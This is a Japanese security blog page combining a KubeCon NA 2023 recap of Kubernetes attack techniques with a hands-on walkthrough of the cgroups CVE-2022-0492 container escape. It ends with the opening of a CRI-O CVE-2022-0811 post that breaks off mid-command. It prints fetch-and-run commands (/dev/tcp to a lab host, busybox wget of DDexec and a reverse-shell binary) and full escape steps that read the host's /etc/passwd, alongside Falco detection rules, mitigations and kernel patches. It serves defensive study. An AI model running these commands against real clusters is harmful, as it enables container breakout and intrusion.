kyohmizu

本記事は 3-shake Advent Calendar 2023 最終日の記事です。こんにちは、きょー (@kyohmizu) です少し旬を逃してしまいましたが、KubeCon NA 2023 の振り返りをしたいと思います。私はKubeConにはリアル参加しておらず、後からセッション動画を見ました。Kubernetes 編」ということで、Kubernetes へのサイバー攻撃テクニックに関するセッションを3つご紹介します。ちなみに本内容は、先日開催された CloudNative Days Tokyo 2023 にてお話しするか検討していたのですが、準備期間とセッション時間 (20分) の都合で泣く泣く諦めたものになります。 speakerdeck.comそれではセッション紹介に入ります。K8s Post-Exploitation: Privilege Escalation, Sidecar Container Injection, and Runtime Securityセッション情報Kubernetes クラスタに侵入した攻撃者が行う攻撃手法と、その対策を紹介するセッションです。最初に TeamTNT の行った攻撃キャンペーンについて、過去の調査レポートをベースに説明しています。クラスタへの初期アクセスの後、kubelet API のデフォルトポート (10250) を狙ってネットワークスキャンをかけています。スキャンによって kubelet API を発見した場合、kubelet API にPOSTリクエストを送り、最終的にノード内の全コンテナに対しクリプトマイナーをダウンロードします。詳細は調査レポートを参照いただきたいですが、攻撃コードを見るとどのように攻撃が行われるのかイメージしやすいと思います。この攻撃はアプリコンテナ内でクリプトマイナーを実行するため、早期に発見されてしまう可能性があります。そこでより発見されにくい攻撃手法として、セッション後半では「Sidecar Injection 攻撃」を取り上げています。Sidecar Injection 攻撃 は Microsoft の「Threat Matrix for Kubernetes」で紹介されている攻撃テクニックです。ちなみに MITRE ATT&CK の Containers Matrix にはこのテクニックは含まれていません。Sidecar Injection 攻撃は名前の通り、Pod 内のサイドカーコンテナを標的とします。セッション内で攻撃のサンプルコードが公開されていましたが、Pod 内のサイドカーコンテナのみを選択しクリプトマイナーを実行することを目的としているようでした。個人的にあまりピンと来なかったのは、アプリコンテナではなくサイドカーコンテナを狙うことで本当に攻撃を秘匿できるのか？という点です。サイドカーかはあまり関係ない気がします。そして最後に、これらの攻撃に対するセキュリティ対策について説明しています。Kubernetes セキュリティとして、イメージスキャンアドミッションコントロールランタイムセキュリティの3つのカテゴリを挙げ、実行中のコンテナに対する攻撃にはランタイムセキュリティが有効であると述べています。Falco を取り上げ、今回の攻撃に対する Falco ルールも公開されました。- list: shell_binaries  items: [bash, csh, ksh, sh, tcsh, zsh, dash]- macro: shell_procs  condition: proc.name in (shell_binaries)- rule: shell_in_container  desc: notice shell activity within a container  condition: >    spawned process and    container and    shell_procs  output: >    shell in a container    (user=%user.name container_id=%container.id container_name=%container.name    shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline)  priority: WARNINGArbitrary Code & File Execution in R/O FS – Am I Write?セッション情報readOnlyRootFilesystem: true が設定されたコンテナにおいて、コンテナ内で攻撃コードを実行するテクニックを3つ紹介しています。Readonly Filesystem では、ファイルの読み込み (Read) と実行 (Execute) はできるが書き込み (Write) ができないという特徴があります。マルウェアを配置したりすることを防止します。ファイルレスマルウェアの攻撃も存在しますが、コンテナ内に curl や wget のようなツールが含まれていなければマルウェアをダウンロードできません。それではセッション内の3つのケースについて見ていきます。ここではすべてを紹介しきれないため、より詳しく知りたい方は動画を見たりツールを調べたりしてみてください。ケース1curl や wget のようなネットワークツールがない場合、どのように攻撃コードのファイルをダウンロードするのでしょうか？/dev/tcp を利用して TCP コネクションを確立し、ファイルをダウンロードしています。ただしダウンロードしたファイルを書き込むことはできないため、メモリ上で直接実行する必要があります。これには DDExec を使い、プロセスをハイジャックすることでファイルレス実行を可能にします。$ function __bindown () {  read proto server path <<<$(echo ${1//// })  FILE=/${path// //}  HOST-${server//:*}  PORT=${server//*:}  [[ x"$(HOST)" == x"${PORT}" ]] && PORT=8080  exec 3<>/dev/tcp/${HOST]/$PORT  echo -en "GET ${(FILE) HTTP/1.0\r\nHost: $(HOST)\r\n\r\n" >&3  (while read line; do  [[ "$line" == $'\r' ]] && break  done && cat) <&3  exec 3>&-}$ __bindown http://192.168.88.4:8080/shell.b64 | bash <(__bindown http://192.168.88.4:8080/ddexec.sh)base64 エンコードした攻撃用バイナリと ddexec.sh をそれぞれダウンロードし、ddexec.sh は bash で実行します。ケース2今回はコンテナイメージとして alpine を利用しています (ケース1は nginx でした)。alpine には bash が存在せず、/dev/tcp をそのまま実行することができないため、別の方法でファイルのダウンロードを試みます。curl や wget は存在しませんが、alpine には busybox がインストールされています。ファイルのダウンロードには busybox wget を利用し、ダウンロード先には Readonly RootFS の中でも書き込み可能な tmpfs を選択しています。$ mount | grep shmshm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)バイナリコードを直接実行できる ddsc.sh をダウンロードし、/dev/shm に保存します。noexec でマウントされているためファイルの実行はできませんが、ddsc.sh はシェルスクリプトなので sh から実行可能です。$ dde=$(mktemp -p /dev/shm)$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $dde$ code=$(mktemp -p /dev/shm)$ echo "6a295899...60f05" > $code$ sh $dde -x < $codeケース3ケース2と同じマニフェストから作られた alpine コンテナの環境です。ファイルのダウンロードには引き続き busybox を利用しています。termination-log にファイルを保存し、リンカを利用してファイルを実行します。Kubernetes にはコンテナの終了メッセージを取得する機能があり、取得元ファイルのデフォルトパスが /dev/termination-log となっています。元々終了メッセージを書き込むことを想定したファイルなので、当然ながら書き込み可能です。これを攻撃用ファイルのダウンロード先に利用します。(終了メッセージの詳細は公式ドキュメントを参照ください)$ mount | grep termination-log/dev/vda1 on /dev/termination-log type ext4 (rw,relatime)mount コマンドの結果から、termination-log のマウントには noexec 属性がついていないことがわかります。これによりリンカを利用したファイル実行が可能となります。$ lddmusl libc (x86_64)Version 1.2.4_git20230717Dynamic Program LoaderUsage: /lib/ld-musl-x86_64.so.1 [options] [--] pathnameldd コマンドにより、リンカの使い方は /lib/ld-musl-x86_64.so.1 [実行ファイルのパス] であることがわかりました。あとは攻撃用ファイルをダウンロードして実行するだけです。$ busybox wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/c-shell > /dev/termination-log$ /lib/ld-musl-x86_64.so.1 /dev/termination-logケース1, 2と同様、実行後にはリバースシェルが確立されています。攻撃テクニックの説明は以上となります。seccomp や SELinux の活用termination-log の場所の指定コンテナ内の通信やプロセスの監視seccomp や SELinux は対策としては一般的ですが、termination-log については聞いたことがなく、興味深い内容でした。ただしログの場所を変更できても noexec を付与する方法は見つけられなかったので、有効な対策と言えるかどうかはやや疑問が残りました。ケース2の /dev/shm を利用した攻撃については、検知するための Falco ルールも例示されました。- rule: Execution from /dev/shm  desc: This rule detects file execution from the /dev/shm directory,    a common tactic for threat actors to stash their readable+writable+(sometimes)executable files.  condition: >    spawned_process and    (proc.exe startswith "/dev/shm/" or    (proc.cwd startswith "/dev/shm/" and proc.exe startswith "./" ) or    (shell_procs and proc.args startswith "-c /dev/shm") or    (shell_procs and proc.args startswith "-i /dev/shm") or    (shell_procs and proc.args startswith "/dev/shm") or    (proc.args contains "/dev/shm" or proc.cwd startswith "/dev/shm") or    (proc.cwd startswith "/dev/shm/" and proc.args startswith "./" ))    and not container.image.repository in (falco_privileged_images, trusted_images)  output: "File execution detected from /dev/shm    (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name user.loginuid=%user.loginuid    container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid    proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid    user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)"  priority: WARNING本セッションは発表者が6月に投稿した記事をもとにしているようなので、併せて読んでいただくと良いかもしれません。また資料中の Pod のマニフェストはそのまま apply するとエラーになるため、ご自身で環境を再現したい方は以下をご利用ください。ケース1:apiVersion: v1kind: Podmetadata:  name: method1-podspec:  containers:  - name: nginx    image: nginx:latest    securityContext:      readOnlyRootFilesystem: true      runAsUser: 101    ports:    - containerPort: 80    volumeMounts:    - mountPath: /var/run      name: run    - mountPath: /var/cache/nginx      name: nginx-cache  securityContext:    seccompProfile:      type: RuntimeDefault  volumes:  - name: run    emptyDir: {}  - name: nginx-cache    emptyDir: {}ケース2, 3:apiVersion: v1kind: Podmetadata:  name: method2-podspec:  containers:  - name: alpine    image: alpine    command:      - sleep    args:      - "3600"    securityContext:      readOnlyRootFilesystem: true      runAsUser: 65534  securityContext:    seccompProfile:      type: RuntimeDefaultRBACdoors: How Cryptominers Are Exploiting RBAC Misconfigsセッション情報system:anonymous ユーザーに cluster-admin ロールを付与していた場合の攻撃事例を紹介しています。cluster-admin は事前定義された ClusterRole で、クラスタ内のすべてのリソースに対する権限を持っています。system:anonymous は匿名リクエストに対して割り当てられているユーザーです。Kubernetes クラスタに対して認証なしであらゆるリソース操作ができてしまいます。今回の攻撃シナリオは以下の通りです。Kubernetes API Server をスキャンし、設定ミスのあるクラスタを発見DaemonSet としてクリプトマイナー (XMRig) を設置cluster-admin の証明書を作成し、クラスタへの侵害を永続化証明書作成の痕跡を削除興味深い点として、クリプトマイナーを設置する際に ClusterRoleBinding と DaemonSet を作成しますが、リソース名を kube-controller とすることで正規のリソースを偽装しています。運用業務でクラスタ内のリソースを確認したとしても、クリプトマイナーの存在に気づかないかもしれません。リポジトリも kubernetesio/~ のように偽装しています。また今回はCSRを削除していますが、cluster-admin を持っていれば、クラスタ内で行われる検知の回避や防御の無効化も容易にできてしまいます。クラスタとは別のレイヤーで、監査ログの監視などを行う必要があるかもしれません。パブリッククラウドを利用する場合、クラスタ内のセキュリティ対策とクラウド上の監視サービスを併用するのが良さそうです。セッション後半では、取るべきセキュリティ対策について紹介しています。Kubernetes API Server へのアクセスのネットワーク制限--anonymous-auth=false による匿名リクエストを無効化アドミッションコントローラーによる cluster-admin のバインディング禁止検知策として、設定ミスの検知Kubernetes API への攻撃の検知マイニングの検知のそれぞれ3つの対策が挙げられています。設定ミスの対策では、system:anonymous や system:authenticated に付与された権限がないか確認するためのスクリプトが紹介されています。Kubernetes の監査ログを監視することも有効です。Google Cloud の Security Command Center (SCC) には脅威検知の機能がありますが、この機能を利用すれば GKE に対する設定ミスや攻撃を検知できます。(発表者は Google Cloud の方です)マイニングの検知について、IoC (Indicator of Compromise) を利用する方法がセッション内では紹介されています。既知のマルウェアコンテナや悪意のあるバイナリ、攻撃サーバのIPアドレス等と照合することで攻撃を検知します。SCC におけるマイニング検知のベストプラクティスも興味があれば読んでみてください。おわりにいかがだったでしょうか？Kubernetes への攻撃手法を知ることは、(それ自体面白いというのもありますが) リスクベースのセキュリティ対策を検討する上で非常に有用です。このセキュリティ対策はどのような攻撃リスクを軽減してくれるのかこの攻撃が行われた場合、どのセキュリティ対策によって防ぐことができるのかといった観点で考えてみることをお勧めします。Kubernetes クラスタを目指して、皆で取り組んでいきましょう。

KubeCon NA 2023 Recap: Attacking Kubernetes 編

cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio  cpu,cpuacct  cpuset   freezer  memory  net_cls           net_prio    pids  systemdcpu    cpuacct      devices  hugetlb  misc    net_cls,net_prio  perf_event  rdma  unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children  cgroup.sane_behavior  docker      notify_on_release  system.slice  user.slicecgroup.procs           default               init.scope  release_agent      tasks# cat /sys/fs/cgroup/pids/release_agent   ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効（ubuntu ではデフォルトの設定です）各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone   ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp   ← seccompSeccomp:    0Seccomp_filters:    0# cat /proc/self/attr/current   ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/   ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep 'cgroup (ro'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)   ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r--  1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r--  1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r--  1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r--  1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r--  1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice-rw-r--r--  1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system   ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied.   ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash   ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40   ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt   ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasksroot@ab988587a245:/# mount | grep 'cgroup (rw'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n 's/.*\perdir=$[^,]*$.*/\1/p' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff   ← upperdir のパスroot@ab988587a245:/# echo "$host_path/cmd" > /mnt/release_agentroot@ab988587a245:/# echo '#!/bin/sh' > /cmdroot@ab988587a245:/# echo "cat /etc/passwd > $host_path/output" >> /cmdroot@ab988587a245:/# chmod a+x /cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx   ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c "echo \$\$" > /mnt/xx/cgroup.procs   ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output   ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7  static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off)  {    struct cgroup *cgrp;+   struct cgroup_file_ctx *ctx;    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+   /*+    * Release agent gets called with all capabilities,+    * require capabilities to set release agent.+    */+   ctx = of->priv;+   if ((ctx->ns->user_ns != &init_user_ns) ||+       !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+     return -EPERM;    cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。（厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています）# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp:    2Seccomp_filters:    1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは（個人的には）難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp

CVE-2022-0492 調査まとめ

CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json {  "metadata": {      "name": "ubuntu"  },  "image":{      "image": "ubuntu"  },  "command": [      "sleep",      "3600"  ],  "log_path":"ubuntu.0.log",  "linux": {  }}# cat pod-config.json {    "metadata": {        "name": "ubuntu-sandbox",        "namespace": "default",        "attempt": 1,        "uid": "hdishd83fjaiarawuwk28bcsb"    },    "log_directory": "/tmp",    "linux": {    }}# crictl runp pod-config.json   ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json   ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7   ← 